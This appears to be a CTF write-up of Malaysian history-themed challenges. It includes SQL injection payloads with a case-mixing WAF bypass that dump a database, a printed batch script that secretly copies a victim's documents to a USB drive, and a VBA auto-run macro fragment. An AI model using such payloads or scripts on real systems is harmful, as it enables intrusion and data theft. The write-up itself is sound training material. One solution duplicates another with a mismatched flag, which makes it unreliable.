#security-through-obscurity
Solution
We're presented with a web-based terminal emulator that appears to be a quiz game about "Jeneral (B) Tun Ibrahim Ismail".
The terminal interface presents itself as a simple quiz game with standard commands:
mula
- Start/Beginbantuan
- Helpkosongkan
- ClearOther basic terminal commands
Source Code
main.js - Main application logic
commands.js - Command handling logic
Upon examining the JavaScript files, several important discoveries were made:
// Key finding in the code structure
if (availableOptions["secret"]) {
// Special handling for secret commands
}
This indicated that there were hidden "secret" commands not visible in the normal game interface.
The code revealed that the terminal fetched available commands from:
GET /api/pilihan
curl -X GET https://komander.bahterasiber.my/api/pilihan
The API response revealed not just the standard quiz commands, but also hidden secret commands that weren't displayed in the normal terminal interface.
The /api/pilihan
endpoint revealed the existence of secret commands, specifically:
RAHSIA: OperationOatmeal
This was the breakthrough moment - realizing that "OperationOatmeal" was likely referring to "Operation Oatmeal", which could be connected to the historical figure mentioned in the challenge.
curl -X POST https://komander.bahterasiber.my/api/check \
-H "Content-Type: application/json" \
-d '{"command": "RAHSIA: OperationOatmeal"}'
Flag: 3108{0p3R4T10n_O@Tm34l_1bR4h1M_1sM@1L}
Bendera
Question
Tengah cari bendera ke tuu
https://bendera.bahterasiber.my
Tags: #sql-injection
#waf-bypass
#mixed-case-bypass
#information-schema
#union-injection
#mysql
Solution
When examining the provided source code, several critical observations were made:
<!-- jawapan: Mohamed bin Hamzah -->
<!-- /config/waf_config.txt -->
<!-- $q = "SELECT * FROM tokoh WHERE nama='$namaTokoh'"; -->
<form method="GET">
<input type="text" name="cari" placeholder="Cari bendera">
<input type="submit" value="submit" name="submit">
</form>
WAF configuration file hint:
/config/waf_config.txt
SQL query structure revealed:
SELECT * FROM tokoh WHERE nama='$namaTokoh'
Search parameter:
cari
WAF Configuration Discovery
First step was to check if the WAF configuration was accessible:
curl -s "https://bendera.bahterasiber.my/config/waf_config.txt"
function simple_waf($input) {
$patterns = [
'/union/',
'/select/',
'/insert/',
'/update/',
'/delete/',
'/drop/',
'/--/',
'/\/\*/',
'/OR/',
'/UNION/',
'/SELECT/',
'/INSERT/',
'/UPDATE/',
'/DELETE/',
'/DROP/',
];
foreach ($patterns as $pattern) {
if (preg_match($pattern, $input)) {
return false;
}
}
return true;
}
WAF blocks common SQL injection keywords (both lowercase and uppercase)
Blocks SQL comments (
--
and/*
)Blocks logical operators (
OR
)Weakness: Only checks exact case matches, not mixed case
SQL Injection Testing
Testing for basic SQL injection with a single quote:
curl -s "https://bendera.bahterasiber.my/?cari=test'&submit=submit"
Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax;
check the manual that corresponds to your MySQL server version for the right syntax
to use near ''test''' at line 1 in /var/www/html/index.php:54
SQL injection vulnerability confirmed
Direct insertion of user input into query
MySQL database backend
Query breaks with syntax error revealing injection point
WAF Bypass
Since the WAF only checks for exact case matches, the bypass strategy involved:
Mixed Case Keywords:
UnIoN
instead ofUNION
,SeLeCt
instead ofSELECT
Alternative Comments:
#
instead of blocked--
URL Encoding: When necessary for special characters
Testing UNION injection to determine the number of columns:
# Testing with 5 columns
curl -s "https://bendera.bahterasiber.my/?cari=test'+UnIoN+SeLeCt+1,2,3,4,5+%23&submit=submit"
# Result: Column count mismatch error
# Testing with 3 columns
curl -s "https://bendera.bahterasiber.my/?cari=test'+UnIoN+SeLeCt+1,2,3+%23&submit=submit"
# Result: Success! Output shows "3" in the page
The query returns 3 columns, and the 3rd column is displayed on the webpage.
Database Name Discovery
curl -s "https://bendera.bahterasiber.my/?cari=test'+UnIoN+SeLeCt+1,2,database()+%23&submit=submit" | grep -A1 -B1 "repeatTextTop"
Result: Database name is bahtera
Table Enumeration
curl -s "https://bendera.bahterasiber.my/?cari=test'+UnIoN+SeLeCt+1,2,table_name+fRoM+information_schema.tables+wHeRe+table_schema%3d'bahtera'+%23&submit=submit" | grep -A1 "repeatTextTop"
Result: Found table tokoh
Column Enumeration
curl -s "https://bendera.bahterasiber.my/?cari=test'+UnIoN+SeLeCt+1,2,group_concat(column_name)+fRoM+information_schema.columns+wHeRe+table_name%3d'tokoh'+%23&submit=submit" | grep -A1 "repeatTextTop"
Result: Columns are bendera,id,nama
curl -s "https://bendera.bahterasiber.my/?cari=test'+UnIoN+SeLeCt+1,2,bendera+fRoM+tokoh+%23&submit=submit" | grep -A1 "repeatTextTop"
Result: Shows Jalur Gemilang
(not the flag format)
Complete Data Extraction
curl -s "https://bendera.bahterasiber.my/?cari=test'+UnIoN+SeLeCt+1,2,group_concat(bendera)+fRoM+tokoh+%23&submit=submit" | grep -A1 "repeatTextTop"
Flag: Jalur Gemilang,3108{d4_jUmP@_b3nD3eR4_k3??}
FH7 (not solved)
LCW JAGUH DUNIA !! (not solved)
Forensic
Operation Nyet
Question
Pada suatu hari, ketika Khairul Aming meninggalkan laptopnya tanpa pengawasan, seorang staf menyambungkan USB miliknya ke laptop tersebut dan melakukan sesuatu.
Beberapa saat kemudian, dia mencabut USB itu dan beredar. Tindakannya tidak disedari Khairul Aming, namun sempat diperhatikan oleh seorang rakan sekerja yang berasa curiga.
Beberapa jam kemudian, USB tersebut secara cuai ditinggalkan di atas mejanya. Rakan sekerja itu mengambil USB tersebut kerana ingin mengetahui rahsia di dalamnya.
Kini, tugas anda adalah untuk menyiasat isi kandungan USB tersebut melalui fail imej forensik yang diberikan (.E01).
File Given: USB.E01
Tags: usb-analysis
e01-image
data-exfiltration
base64-decoding
batch-script-analysis
obfuscation
Solution
Verify file type of the forensic image:
file USB.E01
# Output: USB.E01: EWF/Expert Witness/EnCase image file format
Mounting the E01 Image
Use
ewfmount
from ewf-tools package to access the raw disk imageOnce mounted, we can analyze the filesystem structure
mkdir -p /tmp/usb_mount
ewfmount USB.E01 /tmp/usb_mount
Analyze filesystem structure:
file /tmp/usb_mount/ewf1
fsstat /tmp/usb_mount/ewf1
Filesystem: FAT32
Volume Label: "USB DRIVE"
OEM Name: MSDOS5.0
Total Size: ~15GB
Status: Contains allocated clusters indicating files present
File Discovery
Use
fls
to list all files including deleted onesLook for suspicious file names, especially batch scripts or executables
fls /tmp/usb_mount/ewf1
r/r 3: USB DRIVE (Volume Label Entry)
d/d 6: System Volume Information
r/r 9: USBBackup___.bat ⚠️ SUSPICIOUS
r/r 10: obf.bat ⚠️ SUSPICIOUS
d/d 12: Kerja
d/d 14: Logs
d/d 16: OperationNyet ⚠️ SUSPICIOUS
v/v 490995715: $MBR
v/v 490995716: $FAT1
v/v 490995717: $FAT2
V/V 490995718: $OrphanFiles
Two suspicious batch files found:
USBBackup___.bat
andobf.bat
Extract USBBackup___.bat (inode 9):
icat /tmp/usb_mount/ewf1 9
Analysis of USBBackup___.bat:
@echo off
setlocal EnableDelayedExpansion
set wjdk=set
%wjdk% "userProfile=C:\Users\Aming"
%wjdk% "Loc=%~d0\OperationNyet"
# Obfuscated variable assignments for 'robocopy' command
%wjdk% "a1=r" "a2=o" "a3=b" "a4=o" "a5=c" "a6=o" "a7=p" "a8=y"
%wjdk% "p1=%a1%%a2%" "p2=%a3%%a4%" "p3=%a5%%a6%" "p4=%a7%%a8%"
%wjdk% "rcmd=%p1%%p2%%p3%%p4%" # = "robocopy"
# Base64 encoded flag components
%wjdk% "xA=MzE" "q7=wOH" "jK=tue" "X4=WV0" "kQ=X25" "Y9=5ZX"
%wjdk% "zn=Rfcm" "P2=Foc2" "LM=lhX2" "vZ=55ZX" "aX=Rfbn" "d3=lldH" "uT=0="
# Concatenate encoded components
%wjdk% "NYET=!xA!!q7!!jK!!X4!!kQ!!Y9!!zn!!P2!!LM!!vZ!!aX!!d3!!uT!"
# Create hidden directory and copy files
mkdir "%Loc%" >nul 2>&1
attrib +h +s "%Loc%" >nul 2>&1
call %rcmd% "%userProfile%" "%Loc%" *.txt *.pdf *.docx *.xlsx *.xls /s /njh /njs /ndl /np /r:0 /w:0 >nul
Extract obf.bat (inode 10):
icat /tmp/usb_mount/ewf1 10
@echo off
# Base64 decoding utility
>"temp.~b64" echo(//4mY2xzDQo=
certutil.exe -f -decode "temp.~b64" "%~n1___%~x1"
del "temp.~b64"
copy "%~n1___%~x1" /b + "%~1" /b
The scripts show a clear data exfiltration attack
Check the
OperationNyet
directory for stolen files
fls /tmp/usb_mount/ewf1 16 # OperationNyet directory
r/r 2822: nah tiket.txt
r/r 2826: nasihat by khairul aming.txt
d/d 2829: 30hari_30resepi
d/d 2831: DendengNyet
d/d 2832: R&D
d/d 2834: SambalNyet
icat /tmp/usb_mount/ewf1 2822 # Flight ticket with personal information
The NYET variable in the batch script contains base64 encoded components
Reconstruct the encoded string:
echo -n "MzE" && echo -n "wOH" && echo -n "tue" && echo -n "WV0" && \
echo -n "X25" && echo -n "5ZX" && echo -n "Rfcm" && echo -n "Foc2" && \
echo -n "lhX2" && echo -n "55ZX" && echo -n "Rfbn" && echo -n "lldH" && echo "0="
Result: MzEwOHtueWV0X255ZXRfcmFoc2lhX255ZXRfbnlldH0=
echo "MzEwOHtueWV0X255ZXRfcmFoc2lhX255ZXRfbnlldH0=" | base64 -d
Flag: 3108{nyet_nyet_rahsia_nyet_nyet}
Tok Janggut
Question
Pada tahun 1915, Tok Janggut bangkit menentang penjajahan British di Kelantan. Selepas pertempuran tragis di Pasir Puteh, satu-satunya gambar terakhir beliau disimpan dalam bentuk digital oleh seorang sejarawan moden.
Namun, gambar bersejarah ini telah diubah oleh pihak tidak bertanggungjawab, dipercayai untuk memadam bukti perjuangan beliau.
Sebagai penyiasat forensik, tugas anda adalah untuk membaik pulih fail ini dan mengesan mesej rahsia yang tersembunyi dalam gambar tersebut.
File Given: Tok_Janggut
Tags: forensic
file-corruption
header-repair
jpeg
steganography
Solution
# Check file type
file Tok_Janggut
# Output: Tok_Janggut: data
# Check with ExifTool
exiftool Tok_Janggut
ExifTool Version Number : 13.10
File Name : Tok_Janggut
Directory : .
File Size : 45 kB
File Modification Date/Time : 2025:08:30 00:31:52+08:00
File Access Date/Time : 2025:08:30 00:40:14+08:00
File Inode Change Date/Time : 2025:08:30 00:40:14+08:00
File Permissions : -rw-r--r--
Warning : Processing TIFF-like data after unknown 30-byte header
Exif Byte Order : Big-endian (Motorola, MM)
Orientation : Horizontal (normal)
ExifTool shows "TIFF-like data after unknown 30-byte header"
This suggests the file has a corrupted header but contains valid image data
The presence of EXIF data indicates this is likely a JPEG file
Examining File Structure
# Examine hex dump
hexdump -C Tok_Janggut | head -20
00000000 12 34 56 78 90 ab cd ef 49 46 00 01 01 01 00 60 |.4Vx....IF.....`|
00000010 00 60 00 00 ff e1 00 22 45 78 69 66 00 00 4d 4d |.`....."Exif..MM|
00000020 00 2a 00 00 00 08 00 01 01 12 00 03 00 00 00 01 |.*..............|
00000030 00 01 00 00 00 00 00 00 ff fe 00 3c 43 52 45 41 |...........<CREA|
00000040 54 4f 52 3a 20 67 64 2d 6a 70 65 67 20 76 31 2e |TOR: gd-jpeg v1.|
Bytes 0-7:
12 34 56 78 90 ab cd ef
- Garbage data (corruption)Bytes 8-9:
49 46
- This should be54 49 46 46
("TIFF")
First 8 bytes are completely corrupted
The TIFF signature is missing "T" characters at the beginning
JPEG markers (
ff e1
,ff db
,ff c0
,ff c4
) are present, confirming this is a JPEGEXIF data is intact
Remove Corrupted Header
# Remove first 8 garbage bytes
dd if=Tok_Janggut of=temp_file bs=1 skip=8
# Create proper JPEG SOI + TIFF signature
printf '\xff\xd8\x54\x49\x46\x46' > fixed_header.bin
# Skip the corrupted "IF" part and get rest of file
dd if=temp_file of=rest_of_file.bin bs=1 skip=2
# Combine fixed header with rest of file
cat fixed_header.bin rest_of_file.bin > fixed_image.jpg
Once the image is repaired, opening fixed_image.jpg
reveals:
A portrait drawing of Tok Janggut
Red text overlay at the bottom of the image containing the flag
Flag: 3108{TOK_JANGGUT_P3JU4NG_F1N4D}
Perjanjian Pangkor
Question
Tahun 1874 menyaksikan satu titik perubahan besar dalam sejarah Perak — termeterainya Perjanjian Pangkor antara pihak British dan pembesar Melayu. Di sebalik dokumen rasmi, wujud khabar angin bahawa satu komunikasi rahsia turut berlaku antara pihak tertentu, dihantar melalui saluran tersembunyi.
Satu fail .pcap telah ditemui, dipercayai mengandungi serpihan maklumat penting berkaitan detik bersejarah ini. Kandungannya masih belum diketahui, namun ada pihak mendakwa ia menyimpan rahsia yang boleh mengubah tafsiran kita terhadap sejarah yang sedia ada.
Mampukah anda menelusuri jejak-jejak digital dan membongkar kebenaran yang tersembunyi di sebalik arus masa?
File Given: PERJANJIAN_PANGKOR.pcap
, Perjanjian Pangkor.txt
Tags: #forensics
#pcap-analysis
#tshark
#wireshark
#vba-macros
#docm-analysis
#strings
#zip-extraction
#file-carving
#malware-analysis
#office-documents
Solution
Perjanjian_Pangkor.txt content:
2. Raja _______ dibenarkan memakai gelaran Sultan Muda dan diberikan sebuah jajahan kecil untuk ditadbir
PCAP Analysis with Tshark
# Basic PCAP information
tshark -r PERJANJIAN_PANGKOR.pcap -q -z conv,tcp
# Check for HTTP traffic and file transfers
tshark -r PERJANJIAN_PANGKOR.pcap -Y "http" -T fields -e frame.number -e ip.src -e ip.dst -e http.request.method -e http.request.uri
# Look for file downloads/uploads
tshark -r PERJANJIAN_PANGKOR.pcap -Y "http.content_type contains 'application'" -T fields -e frame.number -e http.content_type -e http.request.uri
# Export HTTP objects
tshark -r PERJANJIAN_PANGKOR.pcap --export-objects http,extracted_objects/
HTTP traffic containing file transfers
ZIP file download detected in the network stream
Extracted files include
document.zip
# Extract the ZIP file found in PCAP
unzip document.zip
PERJANJIAN PANGKOR.docm
- Microsoft Word document with macros
Contains VBA macros (indicated by .docm extension)
Since DOCM files are essentially ZIP archives, we can extract their internal structure:
# Copy DOCM as ZIP for analysis
cp "PERJANJIAN PANGKOR.docm" "PERJANJIAN_PANGKOR_analysis.zip"
# List the internal structure
unzip -l "PERJANJIAN_PANGKOR_analysis.zip"
Archive: PERJANJIAN_PANGKOR_analysis.zip
Length Date Time Name
--------- ---------- ----- ----
1586 1980-01-01 00:00 [Content_Types].xml
590 1980-01-01 00:00 _rels/.rels
343350 1980-01-01 00:00 word/document.xml
3747 1980-01-01 00:00 word/_rels/document.xml.rels
7680 1980-01-01 00:00 word/vbaProject.bin ← VBA MACROS
8717 1980-01-01 00:00 word/theme/theme1.xml
277 1980-01-01 00:00 word/_rels/vbaProject.bin.rels
2794 1980-01-01 00:00 word/vbaData.xml ← VBA DATA
word/vbaProject.bin
- Contains VBA macro codeword/vbaData.xml
- VBA metadata
# Extract the DOCM contents
mkdir docm_analysis
cd docm_analysis
unzip "../PERJANJIAN_PANGKOR_analysis.zip"
# Analyze VBA project using strings
strings word/vbaProject.bin
Hidden flag in comment or as obfuscated string
Nothing to see here...A@2
3108
perjanjian_pangkor_mesej_rahsia
Sub AutoOpen()
Dim f As
8" & Chr (123)
MsgBox "Nothing to see here..."
Flag: 3108{perjanjian_pangkor_mesej_rahsia}
Pemacu Sebuah Negara (not solved)
Osint
Malayan Heroine
Question
Her husband nickname was “You Loy-De".
3108{the heroine daughter} *replace space with _, all small letter
Solution
Google "Her husband nickname was “You Loy-De""
Result: Sybil Kathigasu
Went on Wikipedia found the list of children's name
Flag: 3108{dawn_kathigasu}
Jejak Taman Ilmu
Question
Seorang tokoh wanita Melayu yang menjadi penaung awal pendidikan untuk anak perempuan Melayu di tanah air. Beliau bukan sahaja pejuang kemerdekaan, malah pengasas kepada sebuah institusi pendidikan wanita yang pertama di zamannya. Melalui jejak digital dan sejarah, cari di mana tapak asal kolej itu mula-mula berdiri.
Format Flag: 3108{X.XXX, X.XXX}
File Given: chall.jpg
Solution
Searched "Seorang tokoh wanita Melayu yang menjadi penaung awal pendidikan untuk anak perempuan Melayu di tanah air." in Google Search.
Amongst the suggested links were, Pustaka Ilmu Arkib Negara Malaysia's webpage on Zainon Munshi Sulaiman or Ibu Zain (https://pustakailmu.arkib.gov.my/index.php/ms/pustaka-ilmu/kenali-tokoh/allahyarham-tan-sri-hajah-zainun-bt-munshi-sulaiman-ibu-zain), of which is written "Akhirnya beliau berjaya menubuhkan Kolej Puteri Tunku Ampuan Mariam...".
Searched "Kolej Puteri Tengku Ampuan Mariam koordinat" on Google Search, which showed a Scribd document titled "Kolej Tunku Ampuan Mariam, Johor Bahru, Johor." as the top link (https://www.scribd.com/document/706922852/KOLEJ-TUNKU-AMPUAN-MARIAM-JOHOR-BAHRU-JOHOR) where the coordinates of the college were written as "1.465656, 103.756697".
As the flag format is only up to 3 decimal places, the final flag was written as 3108{1.465, 103.756}
Flag: 3108{1.465, 103.756}
Dim Sum
Question
Lahh dari Malaysia rupanya… Flag dalam channel dia.
Cara Pertama 1:
Gunakan perkakas ini chef! https://ytcomment.kmcat.uk/
Eh jap apa format flag kita eh? --------------------------------------------------------------------
Cara Kedua 2:
Ada cara kedua nak dapatkan flag, tekan channel commenter di gambar.
Solution
Google Malaysian Dimsum chef influencer, Top result: Dimsimlim
Went to https://ytcomment.kmcat.uk/ and searched Dimsimlim
Searched comment 3108
Flag: 3108{d1msum_s3d4p_t4p1_m4hal}
Angkasawan
Question
Someone is using the social media handler of the one of the two final candidate of the angkasawan program.
Solution
Identified the final candidate for angkasawan program
Go to name checkup and searched for @Drfaizkhaled and @Drsheikhmuszaphar
Clicked on twitch and search the social media handler
Flag: 3108{m4l4ysi4n_4str0n4ut}
Reverse Engineering
Maznah Legacy
Question
Iron Lady? Adakah itu Iron Man versi wanita? 🤔 Ataupun sebenarnya tokoh lain yang cukup terkenal di Malaysia?
Hanya dengan bedah program ini, anda akan tahu kebenarannya disbalik sosok misteri tersebut...
Files Given: output.txt
, kunci_diraja
Tags: #RE
#Python
#Modulo
#FlagRecovery
Solution
Open kunci_diraja using Binary Ninja
to read the content
Looking at the pseudocode:
for (i = 0; i < 39; i++) {
printf("%d, ", (input[i] + i + 0x2A) % 0x7F);
}
Input length must be 39 characters.
For each index
i
, the program:Adds the ASCII value of
input[i]
withi
and0x2A
(42).Takes modulo
0x7F
(127).Compares the result against the target array.
If all values match, the program prints a biography of Ungku Abdul Aziz and exits.
From output.txt
:
93, 92, 92, 101, 42, 0, 100, 29, …
This is the expected result of the transformation. Our task is to invert the transformation.
We need to solve:
(input[i] + i + 0x2A) % 0x7F = target[i]
Rearranging:
input[i] = (target[i] - i - 0x2A) mod 0x7F
This gives us the original input characters.
Write a quick Python script:
target = [93, 92, 92, 101, 42, 0, 100, 29, 46, 76, 73, 101, 35, 27, 41, 39, 107, 40, 30, 65, 61, 75, 81, 80, 92, 103, 109, 116, 122, 60, 33, 35, 38, 42, 44, 45, 46, 47, 48]
flag = ""
for i, t in enumerate(target):
val = (t - i - 0x2A) % 0x7F
flag += chr(val)
print(flag)
Flag: 3108{P4k_Ungku_Pr0f3s0r_Dir4j4_Ek0n0mi}
Sandiwara Pena
Question
Sebuah karya pena agung kini beralih wajah menjadi baris-baris kod. Setiap bait huruf diselindung menanti untuk dibaca.
Awalnya tampak di sebalik susunan yang teratur. Akhirnya hanya terungkai apabila engkau mengenalinya.
Satukanlah untuk menjadi bendera sebenar.
File Given: sandiwara_pena
Tags: #xor
#binary-analysis
#array-indexing
#string-validation
Solution
file sandiwara_pena
sandiwara_pena: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,
BuildID[sha1]=73875bf2cfda6da27444df518db9eabf4b164ece,
for GNU/Linux 3.2.0, not stripped
64-bit ELF executable
Position Independent Executable (PIE)
Not stripped (symbols available)
Linux binary
chmod +x sandiwara_pena
./sandiwara_pena
Seorang seniman kata yang menjadikan puisi dan prosa sebagai medan perjuangan.
Sila masukkan bendera (flag): yes
Bendera atau panjang bendera tidak tepat.
Binary asks for flag input in Malay: "Please enter the flag"
Rejects incorrect input with: "Flag or flag length is not correct"
Analyzing the Disassembly
Open the file using Binary Ninja
to read their HLIL (High-Level Intermediate Language)
main()
- Entry point and user interactionpemeriksaan_lapisan()
- Flag validation functionekstrak_modul()
- Data extraction functionpengenalan()
- Introduction message
From the HLIL analysis (lines 665-691):
int32_t main(int32_t argc, char** argv, char** envp) {
pengenalan(); // Print introduction
puts(str: &data_2057); // Print newline
printf(format: "Sila masukkan bendera (flag): ");
fflush(fp: __TMC_END__); // Flush output
void buf; // Buffer for input
if (fgets(&buf, n: 0x64, fp: stdin) == 0)
return 1;
*(&buf + strcspn(&buf, "\r\n")) = 0; // Remove newline
puts(str: &data_2057);
if (strlen(&buf) != 0x1f) // Check length = 31
puts(str: "Bendera atau panjang bendera tidak tepat.");
return 1;
if (pemeriksaan_lapisan(&buf) == 0) // Validate flag
puts(str: "Maaf, bendera salah. Cuba lagi.");
else
puts(str: "A. Samad Said, yang mesra digelar..."); // Success message
return 0;
}
Flag must be exactly 31 characters (0x1f)
Main validation happens in
pemeriksaan_lapisan()
Success message mentions A. Samad Said (Malaysian poet)
From lines 649-663:
int64_t pemeriksaan_lapisan(void* arg1) {
int32_t var_14 = 0;
while (true) {
if (var_14 s> 0x1e) // Loop 31 times (0 to 30)
return 1; // Success
if ((*(arg1 + sx.q(var_14)) ^ 0x42) != ekstrak_modul(var_14))
break; // Validation failed
var_14 += 1; // Next character
}
return 0; // Failure
}
For each character position
i
(0 to 30):flag[i] XOR 0x42
must equalekstrak_modul(i)
Therefore:
flag[i] = ekstrak_modul(i) XOR 0x42
From lines 638-647:
uint64_t ekstrak_modul(int32_t arg1) {
if (arg1 s<= 9)
return zx.q(modul_alpha[sx.q(arg1)]); // Indices 0-9
if (arg1 s> 0x13) // arg1 > 19
return zx.q(*(sx.q(arg1 - 0x14) + &modul_omega)); // Indices 20+
return zx.q(modul_sigma[sx.q(arg1 - 0xa)]); // Indices 10-19
}
Data Array Logic:
Indices 0-9: Use
modul_alpha
arrayIndices 10-19: Use
modul_sigma
arrayIndices 20+: Use
modul_omega
array
From the disassembly data section (lines 946-955):
00004040 char modul_alpha[0x5] = "qsrz9"
00004045 12 76 29 1d 11 00 00 00 00 00 00 // Extended alpha data
00004050 char modul_sigma[0x4] = "v/v&"
00004054 1d 12 71 28 37 76 00 00 00 00 00 00 // Extended sigma data
00004060 modul_omega:
00004060 2c 25 1d 11 76 31 36 71 30 76 3f // Omega hex bytes
Complete Arrays:
modul_alpha:
"qsrz9"
+[0x12, 0x76, 0x29, 0x1d, 0x11]
modul_sigma:
"v/v&"
+[0x1d, 0x12, 0x71, 0x28, 0x37, 0x76]
modul_omega:
[0x2c, 0x25, 0x1d, 0x11, 0x76, 0x31, 0x36, 0x71, 0x30, 0x76, 0x3f]
Writing the Solver Script
#!/usr/bin/env python3
def ekstrak_modul(index):
"""
Recreates the ekstrak_modul function logic:
- if index <= 9: return modul_alpha[index]
- if index > 19 (0x13): return modul_omega[index - 20]
- else: return modul_sigma[index - 10]
"""
# ASCII values for the arrays
modul_alpha = [ord(c) for c in "qsrz9"] # indices 0-9 (but only 5 elements)
modul_sigma = [ord(c) for c in "v/v&"] # indices 10-19 (but only 4 elements)
# modul_omega hex bytes: 2c 25 1d 11 76 31 36 71 30 76 3f
modul_omega = [0x2c, 0x25, 0x1d, 0x11, 0x76, 0x31, 0x36, 0x71, 0x30, 0x76, 0x3f]
if index <= 9:
if index < len(modul_alpha):
return modul_alpha[index]
else:
# Handle case where index is > 4 but <= 9
# From hex dump: 12 76 29 1d 11 00 00 00 00 00 00
extended_alpha = [ord(c) for c in "qsrz9"] + [0x12, 0x76, 0x29, 0x1d, 0x11]
return extended_alpha[index]
elif index > 0x13: # index > 19
omega_index = index - 0x14 # index - 20
if omega_index < len(modul_omega):
return modul_omega[omega_index]
else: # 10 <= index <= 19
sigma_index = index - 0xa # index - 10
if sigma_index < len(modul_sigma):
return modul_sigma[sigma_index]
else:
# Handle case where sigma_index >= 4
# From hex dump: 1d 12 71 28 37 76 00 00 00 00 00 00
extended_sigma = [ord(c) for c in "v/v&"] + [0x1d, 0x12, 0x71, 0x28, 0x37, 0x76]
return extended_sigma[sigma_index]
return 0
def solve_flag():
"""
Solves the flag by reversing the validation logic:
For each position i (0 to 30):
flag[i] XOR 0x42 == ekstrak_modul(i)
Therefore: flag[i] = ekstrak_modul(i) XOR 0x42
"""
flag = ""
for i in range(31): # 0x1f = 31 characters
expected_xor_result = ekstrak_modul(i)
flag_char = expected_xor_result ^ 0x42
flag += chr(flag_char)
print(f"Position {i:2d}: ekstrak_modul({i}) = 0x{expected_xor_result:02x} -> flag[{i}] = chr(0x{flag_char:02x}) = '{chr(flag_char)}'")
return flag
if __name__ == "__main__":
print("Solving CTF flag...")
print("=" * 50)
flag = solve_flag()
print("=" * 50)
print(f"FLAG: {flag}")
print(f"Length: {len(flag)}")
python3 solve.py
Position 0: ekstrak_modul(0) = 0x71 -> flag[0] = chr(0x33) = '3'
Position 1: ekstrak_modul(1) = 0x73 -> flag[1] = chr(0x31) = '1'
Position 2: ekstrak_modul(2) = 0x72 -> flag[2] = chr(0x30) = '0'
Position 3: ekstrak_modul(3) = 0x7a -> flag[3] = chr(0x38) = '8'
Position 4: ekstrak_modul(4) = 0x39 -> flag[4] = chr(0x7b) = '{'
Position 5: ekstrak_modul(5) = 0x12 -> flag[5] = chr(0x50) = 'P'
Position 6: ekstrak_modul(6) = 0x76 -> flag[6] = chr(0x34) = '4'
Position 7: ekstrak_modul(7) = 0x29 -> flag[7] = chr(0x6b) = 'k'
Position 8: ekstrak_modul(8) = 0x1d -> flag[8] = chr(0x5f) = '_'
Position 9: ekstrak_modul(9) = 0x11 -> flag[9] = chr(0x53) = 'S'
Position 10: ekstrak_modul(10) = 0x76 -> flag[10] = chr(0x34) = '4'
Position 11: ekstrak_modul(11) = 0x2f -> flag[11] = chr(0x6d) = 'm'
Position 12: ekstrak_modul(12) = 0x76 -> flag[12] = chr(0x34) = '4'
Position 13: ekstrak_modul(13) = 0x26 -> flag[13] = chr(0x64) = 'd'
Position 14: ekstrak_modul(14) = 0x1d -> flag[14] = chr(0x5f) = '_'
Position 15: ekstrak_modul(15) = 0x12 -> flag[15] = chr(0x50) = 'P'
Position 16: ekstrak_modul(16) = 0x71 -> flag[16] = chr(0x33) = '3'
Position 17: ekstrak_modul(17) = 0x28 -> flag[17] = chr(0x6a) = 'j'
Position 18: ekstrak_modul(18) = 0x37 -> flag[18] = chr(0x75) = 'u'
Position 19: ekstrak_modul(19) = 0x76 -> flag[19] = chr(0x34) = '4'
Position 20: ekstrak_modul(20) = 0x2c -> flag[20] = chr(0x6e) = 'n'
Position 21: ekstrak_modul(21) = 0x25 -> flag[21] = chr(0x67) = 'g'
Position 22: ekstrak_modul(22) = 0x1d -> flag[22] = chr(0x5f) = '_'
Position 23: ekstrak_modul(23) = 0x11 -> flag[23] = chr(0x53) = 'S'
Position 24: ekstrak_modul(24) = 0x76 -> flag[24] = chr(0x34) = '4'
Position 25: ekstrak_modul(25) = 0x31 -> flag[25] = chr(0x73) = 's'
Position 26: ekstrak_modul(26) = 0x36 -> flag[26] = chr(0x74) = 't'
Position 27: ekstrak_modul(27) = 0x71 -> flag[27] = chr(0x33) = '3'
Position 28: ekstrak_modul(28) = 0x30 -> flag[28] = chr(0x72) = 'r'
Position 29: ekstrak_modul(29) = 0x76 -> flag[29] = chr(0x34) = '4'
Position 30: ekstrak_modul(30) = 0x3f -> flag[30] = chr(0x7d) = '}'
FLAG: 3108{P4k_S4m4d_P3ju4ng_S4st3r4}
Length: 31
Flag: 3108{P4k_S4m4d_P3ju4ng_S4st3r4}
Kunci Diraja
Question
Di balik angka dan aturan sederhana, tersembunyi kisah seorang insan yang pernah mengangkat martabat bangsa. Kod ini bukan sekadar semakan, tetapi kunci untuk membuka lembaran sejarahnya.
Files Given: output.txt
, kunci_diraja
Tags: #RE
#Python
#Modulo
#FlagRecovery
Solution
Open kunci_diraja using Binary Ninja
to read the content
Looking at the pseudocode:
for (i = 0; i < 39; i++) {
printf("%d, ", (input[i] + i + 0x2A) % 0x7F);
}
Input length must be 39 characters.
For each index
i
, the program:Adds the ASCII value of
input[i]
withi
and0x2A
(42).Takes modulo
0x7F
(127).Compares the result against the target array.
If all values match, the program prints a biography of Ungku Abdul Aziz and exits.
From output.txt
:
93, 92, 92, 101, 42, 0, 100, 29, …
This is the expected result of the transformation. Our task is to invert the transformation.
We need to solve:
(input[i] + i + 0x2A) % 0x7F = target[i]
Rearranging:
input[i] = (target[i] - i - 0x2A) mod 0x7F
This gives us the original input characters.
Write a quick Python script:
target = [93, 92, 92, 101, 42, 0, 100, 29, 46, 76, 73, 101, 35, 27, 41, 39, 107, 40, 30, 65, 61, 75, 81, 80, 92, 103, 109, 116, 122, 60, 33, 35, 38, 42, 44, 45, 46, 47, 48]
flag = ""
for i, t in enumerate(target):
val = (t - i - 0x2A) % 0x7F
flag += chr(val)
print(flag)
Flag: 3108{P4k_Ungku_Pr0f3s0r_Dir4j4_Ek0n0mi}
Cryptography
ADI RaSA...
Question
Adi Putra terkenal dengan kehebatan matematik dia sejak kecil lagI. Hasil inspirasi daripada beliau, saya telah menghasilkan formula baharu untuk menyulitkan maklumat misteri. Sebelum anda dapat selesaikan cabaran ini, anda harus buktikan dulu sejauh mana anda mengenali Adi Putra.
Instance: nc host port
File Given: chal.py
Tags: rsa
multi-prime-rsa
factorization
quiz
mathematics
sympy
Solution
Analyzing the RSA Implementation
# Content of chal.py
from sympy import randprime
from pathlib import Path
from secret import FLAG
LOW = 2**72
HIGH = 2**73 - 1
p = randprime(LOW, HIGH)
q = randprime(LOW, HIGH)
r = randprime(LOW, HIGH)
while q == p:
q = randprime(LOW, HIGH)
while r == p or r == q:
r = randprime(LOW, HIGH)
N = p * q * r # Multi-prime RSA with 3 factors!
e = 65537
m = int.from_bytes(FLAG, "big")
c = pow(m, e, N)
print(f"N = {N}")
print(f"e = {e}")
